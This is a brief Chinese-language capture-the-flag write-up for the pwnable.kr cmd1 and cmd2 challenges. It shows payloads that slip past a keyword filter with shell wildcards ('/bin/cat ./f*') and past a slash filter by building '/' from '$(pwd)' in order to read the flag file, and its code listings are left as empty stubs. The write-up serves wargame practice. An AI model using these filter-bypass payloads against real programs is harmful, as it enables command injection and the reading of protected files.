cmd1
1 |
|
filter函数,要求输入的第二个参数不能含有”flag”,”sh”,”tmp”字符串
linux支持熊本符*
所以./cmd1 "/bin/cat ./f*"
1 | cmd1@pwnable:~$ ./cmd1 "/bin/cat ./f*" |
cmd2
1 |
|
相比cmd1过滤了/
,如何构造出/
成了重点,通过尝试,发现system函数是可以执行pwd命令的
1 | pwnable% ./cmd2 pwd |
linux下/
代表的是根目录,所以只需要在根目录下,pwd就等于是/
,这样/
就有了,但是不能直接把pwd放进去,要把它包装成一个变量,也就是$(pwd)
1 | pwnable% ./home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl*' |